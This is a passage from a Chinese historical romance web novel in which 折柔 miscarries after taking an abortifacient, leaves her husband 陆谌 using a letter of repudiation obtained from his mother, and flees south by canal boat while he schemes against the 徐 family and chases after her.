眼前的血越来越多,怀里的人呼吸微弱,陆谌头一遭觉得腿软,声音已经不受控地发颤,反复地抚她脸颊,“妱妱,你看着我,别睡!” 折柔却只是向榻内微微偏过脸,闭紧了眼,不作回应。 伴着小腹阵阵的坠痛,她感觉到身下温热黏腻的血在不断地向外流,恍恍惚惚间,好像身体里的一部分也跟着流失出去,心脏空荡荡地往下沉,不知要坠入何处。 吴医正闻讯匆匆赶来,一眼看见床榻上洇开的团团血迹,神色登时大为一变,待再上前诊过脉,心头便彻底沉了下去。 犹豫半晌,他回过身,低声道:“还请上将军节哀。” 仿佛一道滚雷在头顶炸响,陆谌一瞬红了眼,咬紧牙关,厉声喝问:“节哀?你要我节的哪门子哀?” 当真是惊怒到了极致,他眉眼间再无半分温润雅敛,只有一身杀戾煞气,凛冽迫人。 吴医正顿时被骇在原地,心头一阵急跳,小心翼翼地道:“依下官适才诊脉来看,夫人的身子根底倒是尚无大碍,悉心调养即可……只是……只是这腹中的小郎君……实是保不住了。” 折柔疼得冷汗直流,闭目蜷缩在床榻上,朦胧中听见太医的话,心里既畅快,又悲凉,泪水不受控地从眼角滑落。 见她流泪,耳畔听着她孱弱的呼吸,陆谌只觉心脏一阵一阵地绞痛,仿佛被她死死攥紧,痛得他几要直不起腰来。 “怎会如此?不是说可保一时无虞么?” 吴医正舔了舔唇,谨慎地掂量措辞:“按理说应当如此……又或许是那绝子药的药性实在过于霸道,夫人身子承受不住,才会有此损伤。” 陆谌一霎沉默下来,身形僵凝了好半晌,终于涩哑出声,“有劳先生,先为内子开些补身止血的药来,切勿留下什么症候。” 吴医正忙应了一声,退出去写方煎药。 服下几粒参丸,折柔感觉身上渐渐恢复了些力气,眼睫轻颤了颤,睁开眼来。 见她神智清醒了些,陆谌抬手抚上她冰凉的面颊,低低安抚:“别怕,妱妱,我们还会……” 可不待陆谌说完,折柔便极缓慢地摇了摇头,抓着他覆在自己面颊上的手,用尽力气推了下去,语气淡得几乎没有丝毫起伏:“陆秉言,我们不会再有孩子了。” 在陆谌愣怔的注视中,她苍白着脸,抬头冲他笑了笑,语气中隐约带着一丝快意,一字一句地道:“这孩子,是我自己不要的。” 第25章 妱妱,你当真够狠心…… “我们不会再有孩子了。” “这孩子,是我自己不要的。” 陆谌愣怔一瞬,恍惚间以为是自己听错了,甚至无奈地笑了下,“妱妱,你说什么傻话?” 折柔脸色苍白,抿紧了唇,安静地看着他。 陆谌还未回过神来,转眼忽然看见床榻上不曾收起的药瓶,似是想到了些什么,他脸色一瞬变得惨白灰败,猛地回望向折柔,满眼皆是震愕。 折柔静静地看着他,轻声道:“这药,还是你拿给我的。” 听清了她说的是什么话,陆谌只觉眼前一阵晕眩,说不清是怒还是痛,沸腾的情绪瞬间轰鸣着冲向大脑,胸腔里仿佛有什么东西猛然炸开。 僵凝了好半晌,他伸手握住折柔的肩膀,极慢、极慢地抬起头来,眼中布满赤红血丝,“为什么?” “陆秉言,”折柔抬头看着他,平静地道:“我们和离罢。” “为什么?”自相识以来,陆谌头一遭在她面前失了分寸,如铁般的五指死死攥住她清瘦的肩头,眼尾猩红一片,他紧紧咬住牙,一字一句地问道:“妱妱,你告诉我,为什么?!” 不得不承认,看着陆谌被她逼疯的反应,折柔忽觉内心深处隐隐生出一丝报复的快意。 可这仅有的这一丝快意也只是稍纵即逝,下一瞬,铺天盖地的悲凉和痛楚,仿佛奔涌的潮水,呼啸着要将渺小的她彻底淹没。 伤敌八百,自损一千,简直如同玉石俱焚。 她抖着嘴唇,眼前渐渐蓄起水雾,竭力想将声音放得平稳:“陆秉言,你有你要走的阳关道,我有我要过的独木桥,我们不是一路人,不如及早放手罢。” 陆谌闭了闭眼,呼吸止不住地发颤。 这些日子他们都相伴在一处,她的脸上渐渐也现了笑意,他以为自己已经将她哄得心软了,再稍稍假以时日,一切便都可以和从前一样,却不成想,她竟会决绝至此,用这等惨烈的法子与他翻脸。 他只觉心脏剧痛,一时间竟稳不住身形,整个人晃了一晃,哑声问道:“为什么?因为徐家女?” 不及折柔回答,陆谌咬紧了牙,“我早已与你说过,我对她只有敷衍,没有半分情意!” “难道这般,我就不会妒,不会难过了么?”折柔透过泪雾,朦胧地看着陆谌模糊的轮廓,“陆秉言,我不是没想过和你好好过……可你呢?今晚你在何处?” 陆谌沉默下来,半晌没有作声。 看见陆谌的反应,折柔淡淡笑了下,纤细指尖轻轻抚上他左肩的锁骨,抬头直直凝望过去,“你这里,又是为谁挡枪受的伤?” 陆谌的身形一瞬僵住,拧眉道:“你如何知晓?” 折柔抿紧了唇,不再说话。 陆谌猛地一把抓住她手腕,逼视着她,咬牙沉怒道:“那你又是否知晓,我为何替她挡枪?只因此事从头到尾皆是我一手设计,我麾下的禁军精锐,何曾有郎将那般废物,手中兵刃都能脱手飞出? 从始至终,我都不过是为了诓她尽快闭嘴,为了少与她纠缠!倘若当真只是一场意外,她徐家女是生是死,与我又有何干系?我只恨不能让徐家人死个干净透顶!” 说到最后,陆谌越发觉得钝痛钻心,数不清的酸痛从周身的骨头缝里钻出来,眼尾隐隐沁出湿意,“妱妱,你傻不傻?只为着这样的一桩事,你就如此作践你自己的身子、甚至拿我们的孩子来报复我,啊?” “这样的事难道还不够么?”折柔忍不住出声反驳,“陆秉言,人心易变,我赌不起的。” 深吸了一口气,她继续道:“我也从未想过要用孩子报复你,我只是不想再和你有半分牵扯。从今往后,你我各走一边,你若不愿和离,休弃亦可。” 陆谌心头狠狠拧痛,喉结滚了几滚,咬牙道:“我不答允!” “你我所求不同,何必互相折磨?”折柔视线划过他锁骨下的伤处,心头又是一阵酸胀,她低低道:“这道疤,日后既是留在你身上,更是结在我心里,你知道我的脾性,我忍不下去的。” 定定地看了她片刻,陆谌霍然起身,走到桌案前,拉开柜格,拿出一柄匕首,转身又回到榻前。 烛光下微微一晃,凛冽刀身上映出点点寒芒。 折柔还未反应过来他要做什么,陆谌一手握住匕首,一手扯开衣襟,毫不犹豫地向左肩下的伤处狠狠刺去。 “陆谌你疯了!” 折柔大惊失色,本能地想去推开他,身上却使不出半分力气,眼睁睁地看着他朝自己刺了下去。 匕首锋锐无比,一瞬没入皮肉,割开将将结疤的伤口,添出一道更为狰狞的新伤,温热的鲜血瞬间涌流出来,染红了大片衣襟。 陆谌咬紧了牙,额上遍布冷汗,脸色渐渐变得惨白,一字一句道:“你忍不下,我赔给你。和离一事,想也不必再想。” 看着刺目殷红的鲜血,折柔脑中嗡嗡作响,一阵阵地发晕,从未想过,有朝一日,他们两个人之间竟会闹到如此地步。 似是又想到些什么,陆谌眼眶湿红,却勾起唇角,自嘲地笑了笑,语气里隐有戳伤,“今日是我的生辰,也是我孩儿的死忌。妱妱,你当真够狠心。” 说完,他只深深地看了折柔一眼,转身往外走去。 屋子里安静下来,四周空荡荡的一片,夜风寂寂,吹起柔软的床头纱帐。 折柔早已被耗得筋疲力尽,强撑着的一口气散了,不自禁地蜷缩起身子。 也不知过了多久,似乎是小婵进来给她擦身换衣,折柔朦胧中也只由着她动作,又被喂着喝下两大碗苦药,终于在疲惫中昏沉睡去。 恍恍惚惚地,她做了一个梦,梦里,她和陆谌还在洮州,水井,菜畦,青石板,粗简的小院。 五月仲夏,檐雨如绳,淙淙彻暮,滚落一地琼珠碎玉。 他们两个依偎在青砖石瓦的檐廊下,听着院中雨声淅沥,陆谌不知从何处寻来一块木头,说是要做只瓦狗给孩子玩。 他一边削着木头,一边得意地向她吹嘘,说他们俩的孩子一定聪慧又俊俏,若是男孩就叫敏郎,若是女孩,那就叫敏娘。 她被羞得满脸通红,偏他还要坏心地不依不饶,一个劲地问她好不好? 直到最后,瓦狗削好了,她终于盈盈地笑起来,伏在他的臂弯里,用他听不见的声音,悄悄说,好啊。 ——好啊。 当时只道是寻常。 第26章 休书 折柔一觉昏昏沉沉地睡到天亮,醒来也不知是什么时辰,日光朦胧地透过层层纱帐,稍稍一动,便觉周身酸痛乏力,左手也似乎被什么扯住,她愣怔一瞬,本能地睁眼看过去。 陆谌就坐在榻边,一只手握着她的手,颌下冒出淡淡的青茬,眼中布满红丝,一看便是整夜都未曾合眼。 茫然片刻,折柔回过神来,下意识偏过头去,试图把手从他掌心里抽出来。 陆谌却愈发收紧力道,低哑地唤了一声:“妱妱。” 折柔心中忽地一阵抽疼,不愿回应,却也挣不过陆谌的力气,索性闭了眼任由他去。 陆谌将她拉进怀里,低声道:“妱妱,我已做了安排,你容我……” 一开口,嗓音沉哑得不成样子,仿佛被粗糙的砂石磨砺了一遍。 折柔狠了狠心,截断他的话:“我只要和离。” 闻言,陆谌一瞬拧紧眉头,额上青筋直跳,“早已同你说过了,我不答允。” “不和离,难道要看着你继续和旁人纠缠?”折柔回头看着他,淡淡地笑了下,“你想扳倒徐崇,又岂会是一朝一夕之事?就算你能拖延一月,又能周旋一年么?他若非要你提亲求娶,到那时,你会怎样做?” 越说,她心中越不痛快,便只想用锋利的言辞刺伤他,“陆秉言,你是会让我做妾,还是另置一处宅子,让我做外室?又或是,神不知鬼不觉地,让我得急症而亡?” “妱妱!”陆谌脸上唰地一白,漆黑幽沉的眸子里泛起了怒色,犹如一头负伤的困兽,“你明知我不会!” 折柔抿紧了唇,她身心还疲惫着,眼下尚未缓和过来,分毫不想与他争辩。 恰好南衡过来禀事,似是极为紧要,顾不得旁的,刚到廊下便莽撞地唤了声郎君,“有盐运急信!” 听见动静,陆谌闭目深吸一口气,竭力压下心中怒意,黑眸凝视着折柔,沉声道:“徐家女的事,我会尽快解决干净,不出下月,必予你满意答复。” 走到门前,陆谌的脚步忽又顿住,他咬了咬牙,狠道:“至于和离一事,绝无可能。你我的婚书曾在官府过契,没有我的放妻书,你我至死都是夫妻。” 听见他走出院门,折柔闭眼躺在榻上,指甲深深掐进掌心,疼得她眼眶泛起酸热。 不多时,小婵绕过槅扇走进里间,到榻前服侍她洗漱,又去外面拎来了食盒,小心问道:“娘子身上可好些了?看这些可还合胃口?娘子若是不喜欢,婢子再去厨上要些别的。” “我没事。”折柔温和地笑笑,垂眸向食盒里看了一眼,有红丝馎饦,八珍汤,乌鸡蛋羹,都是补血调养的膳食,她虽然没有半分胃口,仍是勉强逼着自己用了一些。 小产伤身,小月子里尤其需得仔细调理,以免落下什么症候。往后的日子还要继续过,身子是自己的,她要加倍爱惜才是。 用过饭食,身上恢复了些力气,折柔开始思量今后要怎么办。 如今情形大不相同,与她当初设想的有了不小的偏差。 原本她想着不要惊动陆谌,悄悄离开,可昨夜她心中的痛恨已然到了极处,哪里还有那许多理智?只恨不能叫陆谌也尝尝这煎熬,一时冲动,如今便要重做打算。 夫妻相伴数年,对于陆谌的脾气秉性,她再清楚不过。虽然他素来爱笑,笑起来又颇有几分温润少年气,看着好一副清雅郎君的模样,可却实是个隐忍而后发的性子,倘若被人触了他的逆鳞,翻起脸来比谁都狠绝偏执。 陆谌既然不肯和离,她便只能慢慢周旋。 不能直接闭口不提要和离,若是乍然松口,反倒容易惹得他生疑,只有先咬定了这个念头,再假作慢慢被他哄软,等他彻底放下戒心,她自然有法子远走高飞。 无论如何,她是一定要走的。 太疼了。 假若将来再经历一遭,她必是受不住的,非要疯掉不可。 至于走去哪里,她一时还未想好。洮州不能回,就算回去,也不过是另一个伤心地罢了,倒不如去一处生地,重新过她自己的日子。 出城的公验也不算难办,用她药铺伙计家中亲眷的名义,去市井间花些银钱,托讼师就能到县衙办一张来。 前路茫茫不定,她不想带着小婵跟她一起吃苦。折柔思量过后,打算将小婵的身契留下,再留下几副成药方子,将药铺交到小婵手里,想来便足够她傍身了,如此,好不容易开起的药铺也不算荒废。 折柔打定了主意,心下顿感安稳,可忽而又有那么一瞬,隐隐觉得可悲,她从未想过有一日,自己也会将这等算计的心思用到陆谌身上。 折柔虽通医理,但毕竟不是专精女科,不能尽数知悉小产调养的避忌,陆谌便从禁中药局请来一位熟悉女科的嬷嬷,每日她在身边照料,帮她按摩穴位,还另叫了陆琬过来陪她说话解闷。 这般悉心调理着,又过了两旬,折柔的身子已经大好,颊上也显出来红润气色,与先前再没什么两样,甚至更丰润了两分。 陆谌倒是愈发忙碌起来,也不知在忙些什么,白日里极少见人影,只在深夜过来,拥她入眠。 折柔渐渐不再提起和离的事,陆谌也心照不宣地避而不谈,转眼便到六月下旬,出城的公验已经办好,一些不便带走的首饰也悄悄换了银钱,只缺一份和离书。 一连下了几日的雨,夜里陆谌照常过来歇息。 折柔睡得正迷糊,听见身畔有异样的声响。 她朦胧地睁开眼,看见陆谌背对着她,喘息低沉,左手死死按在膝盖上,手背青筋根根暴起,夏日轻薄的里衣已被冷汗浸透,贴在后背上,显出一道道绷紧的肌肉线条。 连日阴雨,他膝盖上的旧伤发作了。 折柔抿了抿唇,闭上眼,只作不知。 身畔断断续续传来压抑着的痛苦喘息声。 折柔忍了又忍,实是忍不下,正要起身去取药,却被陆谌从后拉住了手,不及回头,就听他喘息着道:“我忍忍便是……下过雨,地上凉,你小日子快到了,受不得寒……” 折柔心里叫他这话一霎刺得又酸又软。 怎么会不疼呢? 原来她也没有那样决绝的勇气。 就算早已经下定决心,但真正到了要离开的时候,想到要将和陆谌相关的一切都彻底从生命里舍去,她还是会如剜心裂骨般疼。 但再疼,也绝不能回头。 便只当……这是他们最后一日的夫妻恩情罢。 折柔去柜中取来草药,沾了酒,给他敷到腿上,又燃了艾草仔细熏了熏。 陆谌就一直定定地看着她动作。 反复灸过几回,见陆谌缓和了些,她将剩余的草药放回去,刚刚上榻歇息,陆谌一把握住她的手,将人扯到怀里来,低笑着问:“妱妱,你不生我的气了,是不是?我答允过你,要给你一个满意答复,就这几日,很快。” 折柔被他揽在怀中,脸上神色沉静,却配合地问:“……当真?” 听见她这一问,陆谌心中瞬间松快下来。 他的妱妱总归是心软。 “绝无虚言。”他忍不住低下头,含吮住她的唇瓣,保证道:“我与旁人再不会有半分干系。” 折柔心中一片酸涩,说不出什么滋味,只轻轻抚摸着他颈后的发尾。 陆谌忽地一怔。 这般充满怜意的温柔爱抚让他浑身战栗,情难自控,眼眶酸热,几乎要流下泪来。 似是急于确认什么一般,他愈加发狠地吻下来,呼吸与津液交缠,几乎分不出彼此。 折柔并未反抗推拒。 夜色深浓,窗外雨声簌簌,吻到最后,陆谌将她紧紧揽进怀里,两个人沉沉地相拥而眠。 翌日是六月二十四,灌口二郎神诞辰,上京城中的祝祀尤为热闹繁盛,陆谌要辖制禁军,拱卫官家出行,早早便起身洗漱,准备上值。 他一起身,折柔也跟着醒了,半倚在床榻上,安静地看着他收拾。 这些时日以来,陆谌难得心怀畅快,临出门又折回到榻前,托起她的脸,吻上她嫣红的唇瓣,缠绵地吮吻流连,最后犹似意犹未尽一般,轻轻啄吻几下,低低地交待:“等我回来。我还有话与你说。” 折柔笑盈盈地望着他,应好。 目送着他走远,折柔起身洗漱,很快便将早已在心里盘算过无数次的细软收拾好,连同出城的公验一起,打做一个小包袱,随后径直去了松春院。 “有劳夫人,予我一封休书。” 听清了她的话,郑兰璧一瞬怔住,半晌,似是不可置信地反问:“你要什么?” 折柔神色平静,语气温和却十分坚定:“烦请夫人,代子休妻。” 这个法子,是她反复思量过的。陆谌既然不肯写和离书,她日后若还想结亲成家,彻底与陆谌划清干系,便只有要来休书这一条路可走。 这消息着实猝不及防,郑兰璧彻底惊住了,甚至疑心眼前的人是存了什么阴损念头,不由凝目打量起她来。 折柔早有预料,按着事先想好的说辞,温声解释道:“因徐家女一事,我欲与陆谌和离,但他不允。” “若是和离,既要寻中人,又要过衙门,且陆谌不肯写放妻书,我实是绕不过他。但休妻要方便许多,夫人是他生母,只需以‘无子’为由,便可替陆家休了我,从此往后,男婚女嫁,各不相干。” 折柔抿了抿唇,轻声道:“今日陆谌值上正忙,他脱不开身,只要夫人写与我休书,我即刻便离开上京,于夫人而言,有益无害。” 郑兰璧审视地看着她:“……你当真舍得?” 折柔抬头笑了笑,毫不回避她打量的目光,一字一句道:“是,我已决意如此。” 郑兰璧沉吟良久,终于下定决心,反身回到里间,提笔匆匆写就一封休书,吹干墨迹后交予折柔。 收好了休书,走出松春院,折柔抬头看了看天色,是个天朗气清的好日子,她特意看过黄历,六月廿四,忌嫁娶,宜出行。 第27章 南下 回到东院,折柔给陆谌留下一封手书,既是告别,也是同他讲清原委,以免他日后迁怒于小婵和府里的一众护卫。 陆谌不曾对她设防,府里更没有人能约束她的行动,折柔借口要去一趟药铺,很顺利地便带着小婵出了门。 一如寻常般登上马车,平川扬起马鞭,车轮辚辚行起。 快要走出巷口,折柔透过车窗,回头望了一眼,旋即又若无其事地收回视线,默默压下心中错杂的诸般滋味。 来到上京,是一个草长莺飞的春日,如今离开,也不过是六月季夏,短短数月,恍如匆匆一场大梦。 马车行到药铺,打发走了平川,再将小婵支去库房盘点成药,折柔换了身寻常农妇的朴素衣裳,带着事先准备好的包袱,从坊院后门出来,径直去往渡口方向。 她还未想好要去何处定居,只是想着自幼都在北境长大,看惯了冷冽的寒风朔雪,她想先南下去淮安、江宁一带,看一看不曾见过的小桥烟雨。 至于是否在那里落脚久居,还要视情形而定。 上京的水运四通八达,想要南下,乘船出行最为便利,折柔打算去乘坐卸粮南返的漕船。 虽然价钱要比寻常脚船贵上一倍,但漕船的船只和船工都在官府登记造册,船上还有运送漕粮的役兵一道返程。 也因为价贵,船客中很少会有泼皮无赖,于她一个独身女子而言,漕船要安全稳妥得多,左右她在公验上用的是假名,也不怕陆谌能查到她的去处。 赶到渡口的时候,最近的一条漕船正要出发,折柔匆匆到班头值房核过公验,向船工付了银钱,由人引着登了船。 天色尚早,船板上已经站满了船客,三五成群,熙熙攘攘,船工回身招呼着同伴解开揽绳,漕船破开河面,徐徐离开渡口。 折柔看着逐渐远离的岸边,心口牵扯起丝丝缕缕的钝痛。 今此一别,天各一方。 爱也好,恨也罢,从前种种譬如昨日死,她与陆谌再无半分瓜葛。 船上的人鱼龙混杂,只稍稍站了一会儿,折柔没有多留,转身去往船舱。 汴河对岸茶楼的雅间里,一个锦衣仆从刚好透过窗扇,看见了她的侧脸,不由咦了一声,回头指给身旁的郎君看:“殿下您瞧,这人不就是那日在潘楼,小郡王护得跟什么似的那个‘九娘’么?” 李桢正漫不经心地品着盏中的青凤髓,只等运送官家寿礼的漕船抵京,闻言神色微微一顿,顺着元丰的视线看去。 眯眼看了一会儿,他忆起来那晚的情形,勾唇轻嗤道:“谢云舟也算有几分眼光。虽是个妇人,算不得完璧,但胜在清婉妍丽,是个难得一见的美人。” 元丰见自家主子的眼神有些不大对,再一想到谢云舟素来横行无忌的行事做派,心里顿时又怕又悔,简直想扇自己俩耳光,方才嘴贱些什么! 他连忙向上觑了觑李桢的脸色,试探着小心翼翼道:“这女子只怕是和小郡王渊源匪浅,要是叫他知晓……” “什么小郡王,还不就是个马夫的种。” 李桢眼中露出几分阴鸷,捏紧了手中青玉杯盏,不屑一哂,“他也就仗着有个好阿娘,当年为了保住官家的龙椅,不惜以公主之身下嫁马夫,官家是觉得心中有愧,才会这般纵着他胡闹妄为,还封王赐爵……呵。” 胥国公虽然出身低微,原本只是个在天驷监养马的校尉,但后来在战场立下赫赫战功,如今早已跻身权贵,只不过自家主子既然这般说了,元丰身为内侍仆从,自然要跟着吹捧应和:“殿下说得正是!” 说着,李桢又似是想起些什么,冷着神色,讥讽道:“说不准连马夫的种都算不上,谁知是我那好姑姑从哪儿弄来的野种。” 这几句已然算得上妄议尊长了,元丰听得心头突突直跳,好在自家主子的话虽这样说着,终是不曾提出要去拦人的事,他不由得暗自松了一口气。 又听李桢吩咐道:“着人去查查,那女子到底是什么身份,同他谢云舟又有什么干系。” 只要不是出手抢人,那旁的都算不上什么,元丰忙哎了一声,点头应是。 从上京到淮安,走水路寻常要行上七八天,赶上顺风也需走个五六日,折柔便给兵曹多添了一贯钱,定下一处单间。 她的舱室位处中间,两边隔壁皆已住了人,左厢是一对夫妇,右厢则是个年轻的青衫书生,身边带着一个十来岁的小书童。 看着都不似浮浪轻佻之辈,折柔心中安定了几分。 安置好行装,扑了扑矮榻上的浮灰,折柔正打算歇息片刻,忽听隔壁传来“锵”一声器物落地的声响,随即有男人的怒骂和女人的低泣声响起来。 本就是旁人的家事,她又孤身在外,自然不去理会那厢的争执,抖开被褥,躺到榻上。 却不想隔壁的声响越发让人心惊,男人似乎动了手,妇人开始哀哭尖叫,间或又掺杂了几声哀哀的求饶。 那妇人的哭声实是可怜,忍了片刻,折柔再也听不下去,弯腰出了舱门,正打算花些银钱,去寻兵曹过来帮忙,就见右厢的青衫书生走出来,敲响那对夫妻的舱门,义正言辞地开了口。 “尔,尔身为男子,怎,怎可对妇人动手?” 船舱里安静片刻,男人一把拉开舱门,站在门里,冷着目光打量起书生,“你是谁?管我家闲事作甚?” 书生挺了挺腰,“在下,读书人。” “我管教自家婆娘,与你这乳臭未干的白面小郎有个屁的关系!”男人狠瞪了他一眼,退回去就要关门,“爷爷爱对谁动手就他娘的对谁动手!滚滚滚!” 书生连忙上前一步,伸手阻住他关门的动作,含怒直视向男人:“此,此等行径,枉,枉为人夫!” 男人气得瞪圆了眼,蒲扇般的大掌用足力气,一把推向他胸口,口中怒骂道:“我滚你的!” 青衫书生全无防备,受不住男人这一下猛推,胸口气血翻涌上来,猛地向后仰倒下去,登时便两眼一翻,闭过了气去。 事出突然,妇人尖利地惊叫一声,男子也顿时傻了眼,定在原地腿脚发软。 听见响动,船舱附近的众人纷纷围了上来,七嘴八舌地说道起来,有问怎么回事的,有喊着要找郎中的,还有出主意要掐人中的,一时间嘈乱成一团。 “郎君!郎君!”小书童回过神来,猛地冲了上去,哇一声大哭起来,手足茫然无措,想要扶他起身,“郎君醒醒!” “莫要动他。” 见他伸手,折柔赶忙出声制止。 “你说什么?”小书童一愣,红着眼抬起头,“难道要我家郎君就这么倒着不成?” 他语气不善,折柔倒不会同个孩子计较,只温声解释道:“气血翻涌,静卧为宜,等一等再扶他起来,否则反倒损伤气血。” 小书童虽然听不大懂,但见她说话不疾不徐,又温言细语,不像是有恶意,便愣愣地哦了一声,没再动作。 折柔轻轻拨开人群,走到近前,蹲下来,在周围众人错愕的目光中拉起青衫书生的左腕,伸指在合谷、内关、水沟三处穴位用力按下,少顷,只听得地上的人长长呻吟一声,眼皮微动了动,幽幽醒转过来。 “郎君!郎君醒了!” 小书童喜极而泣,豆大的泪珠又涌了出来,“郎君可感觉好些了?” 青衫书生似乎还有些没回过神,好半晌,抬手捂住胸口,慢慢地点了下头。 见人醒了,打人的男子总算松了一口气,又怒声打发妇人取水来给书生喝。 围观的众人也跟着舒出气来,交头私语着,啧啧赞了两声“娘子妙手”,“福大命大”。 见人已醒转,折柔心下微松,转头看向小书童,柔声吩咐道:“你家郎君只是一时气血翻涌,并无大碍,但这几日也还是多静养为好。” 小书童忙不迭地点头应是,连连道谢,反应过来,又回身将折柔比给书生看,“郎君,方才是这位娘子救了您!” 青衫书生顺着视线看向折柔,目光微微一顿,随即示意书童扶着他勉力站起身来。 乍然清醒,他手脚还有些虚浮,站立不稳,却推开书童搀扶的手,恭谨严肃地俯身朝折柔行了一礼,“在下叶以安,多,多谢娘子救命之恩。” 虽然口舌上不大灵便,倒是个一板一眼、热心肠讲礼数的读书人。 折柔温和地笑了笑,“只是举手之劳,不必介怀,叶公子侠义心肠,我亦佩服。” “也,也不过是路见不平。”叶以安似是不大好意思,耳根微微泛了红,“还,还不知,娘子如何称呼?” 折柔自然不会告知真名,只按着公验上的假名道:“我姓沈,唤我沈娘子便是。” 叶以安又道了谢,诚挚道:“出门在外,沈娘子若,不嫌弃,有,有事尽可来寻在下。” 折柔也未多言,只笑了笑应好。 ** 陆谌在值上一整日都神思不属,也说不出为何,心里总是想起妱妱,甚至想得心脏隐隐发疼,本想早些回去府里,半路却收到徐崇的传信,要他去徐府一见。 陆谌抬头看了眼天色,时辰尚早,他吩咐南衡去做的事还不曾传来消息,索性去徐崇府上等信也好。 策马行到徐府门外,门房小厮恭敬地迎上前来,呵腰比手请他入内。 陆谌将马鞭交到小厮手中,理了理衣襟,由人引入徐崇书房。 “相公。” 见陆谌进来,徐崇笑着抬了抬眼,示意他坐,扬手叫小厮奉茶,隔了半晌,才寒暄似的开口道:“听闻这一遭剿匪,小郡王不负圣望,战绩颇丰,不但剿灭了山阳最猖獗的漕帮水匪,还生擒了江湖人称‘过江龙’的匪帮二当家潘兴,近日便要押解到京。” 陆谌点点头,应是。 “老夫听闻,漕帮里仍有残余穷寇一路尾随,意图劫走他们二当家,小郡王不放心旁人,特特请了旨意,要三郎你过两日去京外接应,可有此事?” 此事亦算不得什么秘密,陆谌点头,“不错,相公可有何吩咐?” 徐崇“唔”了一声,不疾不徐地吹了吹盏中浮叶,抬头笑道:“既有十六娘在,老夫也不瞒你。潘兴此人,同老夫的一个门生大有过节,如今他被押解入京,只怕会到官家面前胡乱攀咬,老夫想着,若是当真遇上贼寇劫囚……不如顺势而为罢。” 说着,他意味深长地看向陆谌,审视着他的神色,“不知三郎意下如何?” 陆谌微怔了一瞬,旋即笑起来,“晚辈自当为相公分忧。” 徐崇满意地点了点头,又闲叙了几句,他含笑起身,送陆谌出门。 两人一边说这话,一边往外走,刚走出小院,不远处忽然传来一阵急惶的脚步声,一道身影匆匆穿过花厅,连滚带爬地奔到近前,喊道:“相公!出事了!不好了!” “站住。”徐崇面色一寒,冷眼扫向阶下的人,斥道:“如此不知礼数,成何体统?” “夫人,夫人在街上被人劫走了!不知是何人所为,只留下一封信!” 小厮惶急地呈上信封,徐崇眸光微凝一霎,伸手接过他手中信纸,展开,从头至尾地看过一遍信上内容,脸色渐渐变得阴寒。 沉吟片刻,他挥手打发走小厮,转头看向陆谌,“方才所议之事,有变。” 陆谌眉心微拧:“出了何事?” “你自己瞧瞧,”徐崇将信纸交到他手上,负手看向院中的青皮枣树,淡声道:“小小贼寇,胆大包天。竟能想到用周氏来威胁老夫,若说背后没有高人,谁会相信?” 陆谌匆匆扫过一遍信笺,抬眸看了他一眼,沉声问:“相公打算如何?” 徐崇笑了笑,不以为意道:“那便暂且留他一条命罢,容他多活几天,先把周氏换回来,再将线放长些,看看能否顺势钓出后面的大鱼来。” “相公尽管放心。”陆谌拱手应了声是,从徐府告辞。 刚一回到禁军衙门外,南衡立时迎了上来,“郎君。” 陆谌看他一眼,微微挑眉:“事成了?” 南衡点点头,沉声道:“郎君放心,人已经绑去郊外藏好,徐府的护卫根本不曾追上。” 顿了顿,又问道:“郎君打算几时动手?” 闻言,陆谌眸光冷沉下来,寒声道:“先留一口气,两日后,只等潘兴到手,便将那贱妇扔到汴河里喂鱼虾。” 南衡点头,“是。” 陆谌抬头看一眼天色,一手挽住缰绳,径直拨转马头,“先回府。” 周氏既然敢算计到妱妱头上,害了他们的孩儿,他又岂能容她活命? 最为要紧的是,只要生母亡故,徐有容便需在家中守孝,如此彻底省却了麻烦,再过些时日,他与妱妱,还会同从前一样。 这般想着,他忍不住勾了勾唇,一夹马腹,朝家中的方向而去。 第28章 遇险 陆谌下了马,径直入东院。 落日将尽,廊下四处已掌了灯,屋内却黑黢黢一片。 陆谌心情松快,并未察觉异样。 几步迈上石阶,抬手搭上屋门,他低头笑了笑,试探般地,轻推了一下门。 木门随之打开,屋内静悄悄的,没有掌灯。 陆谌愣怔一瞬,一股莫名的凉意从脊心急窜而上,他本能地生出一丝不妙预感,当即拔步朝里间冲去。 绕过槅扇,看清眼前情形后,他的身形一霎定在原地。 里间一个人都没有,空荡荡的。床榻被褥叠得整齐,妆奁台上干干净净,拉开一层,放着他的玉锁。往下一层,是账册钥匙,最上面,放着一封信笺。 是折柔的字迹。 陆谌心脏陡然一沉,竟莫名生出两分惧意来。 咬了咬牙,他伸手取出信笺,撕开信封,匆匆扫过一眼纸上内容,旋即猛地攥紧,骨节咯咯作响。 这信上是什么意思?是他理解的那个意思么? 她走了? 她竟走了! 就这般悄无声息地离开上京,舍弃了他! 甚至连他的俸禄都半分未动,只带走了她从洮州带来的首饰和积蓄。 渐渐从震愕中回过神来,陆谌咬紧了下颌,气得眼前一阵阵发黑。 好啊,真是个好姑娘。 就这般想与他断得一干二净! 一时间,心头恨怒交集,陆谌劈手便砸碎了台上铜镜,锋利的边缘一瞬割伤手背,鲜血淋漓而下,他却已觉不出疼痛,反身大步冲出堂屋,扬声喝人,“牵马!” 奔出府门,陆谌翻身跃上马匹,扬鞭,直奔折柔的成药铺。 不多时,小婵在铺子里听见声响,迎了出去,“郎君。” 见她还留在此处,陆谌一手挽住缰绳,猩红着眼眶,厉声问:“妱妱呢?” 小婵茫然懵懂,“娘子,娘子说有事要办,只叫婢子在此处等着。” 陆谌心头猛地一沉,仿佛被人狠狠攥紧,一阵剧烈的拧痛。 她孤身一人,连小婵都不曾带走,身上又没有太多银钱,她能去哪儿? 她小产才不过一月有余,没有人照顾,路上要吃多少苦头?傻不傻! “她近日有何异样?可曾说过想去何处?” 小婵大约猜到是出了事,惶惶摇头。 “你们几时到的药铺?她几时出的门?” “好像……好像巳时前后……” 巳时离开,距今不到五个时辰,若是回洮州,行官道,此刻至多走出百里,他若骑马彻夜急追,应当赶得及。 陆谌看一眼天色,再过两炷香,城门就要落钥。 来不及查问车马脚行,他半分未停,拨转马头,疾驰到北城,厚重的城门正在他眼前一点一点闭合,城门尉见有人强闯,连忙架起长戟,意图阻拦,“何人放肆!” 陆谌早已心急如焚,猛地抽刀挑开两边长戟,怒喝一声:“滚开!”不待城门尉反应,已带人纵马冲出了城关。 夜色渐沉,他沿着官道策马疾驰,一路却不见半个女子人影,越找,心头越慌,又隐隐压不住恨怒,既怕她路遇不测,又怨她狠心抛弃。 妱妱,你到底在哪? 满腔的如焚痛意几乎要灼穿他皮肉,烧彻全身,只恨不能立时将人捉回来,再也不准离开他半步。 一直追到天色将明,远处天穹泛起微茫的晨曦。 